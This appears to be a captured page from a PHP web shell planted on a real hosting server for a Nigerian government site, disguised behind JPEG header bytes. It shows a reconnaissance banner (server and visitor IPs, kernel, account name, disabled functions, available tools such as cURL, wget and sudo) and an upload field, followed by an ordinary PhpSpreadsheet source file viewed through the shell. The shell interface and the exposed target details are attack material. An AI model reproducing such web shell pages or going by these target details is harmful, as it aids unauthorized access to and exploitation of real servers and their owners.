ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.145.184.89 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Web/ |
Upload File : |
<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Web; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Settings; use Psr\Http\Client\ClientExceptionInterface; class Service { /** * WEBSERVICE. * * Returns data from a web service on the Internet or Intranet. * * Excel Function: * Webservice(url) * * @return string the output resulting from a call to the webservice */ public static function webService(string $url) { $url = trim($url); if (strlen($url) > 2048) { return Functions::VALUE(); // Invalid URL length } if (!preg_match('/^http[s]?:\/\//', $url)) { return Functions::VALUE(); // Invalid protocol } // Get results from the the webservice $client = Settings::getHttpClient(); $requestFactory = Settings::getRequestFactory(); $request = $requestFactory->createRequest('GET', $url); try { $response = $client->sendRequest($request); } catch (ClientExceptionInterface $e) { return Functions::VALUE(); // cURL error } if ($response->getStatusCode() != 200) { return Functions::VALUE(); // cURL error } $output = $response->getBody()->getContents(); if (strlen($output) > 32767) { return Functions::VALUE(); // Output not a string or too long } return $output; } /** * URLENCODE. * * Returns data from a web service on the Internet or Intranet. * * Excel Function: * urlEncode(text) * * @param mixed $text * * @return string the url encoded output */ public static function urlEncode($text) { if (!is_string($text)) { return Functions::VALUE(); } return str_replace('+', '%20', urlencode($text)); } }